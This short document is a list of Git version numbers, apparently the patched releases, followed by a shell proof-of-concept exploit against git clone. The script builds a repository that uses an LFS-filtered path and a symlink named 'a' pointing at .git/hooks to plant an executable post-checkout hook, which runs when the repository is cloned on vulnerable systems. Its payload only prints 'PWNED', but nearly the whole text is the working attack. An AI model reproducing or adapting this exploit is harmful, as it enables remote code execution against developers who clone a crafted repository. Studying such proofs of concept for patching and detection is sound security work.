v2.17.6,v2.18.5,v2.19.6,v2.20.5,v2.21.4, v2.22.5,v2.23.4,v2.24.4,v2.25.5,v2.26.3,v2.27.1,v2.28.1,v2.29.3, v2.30.2。
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
>.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
) &&
git clone delayed-checkout cloned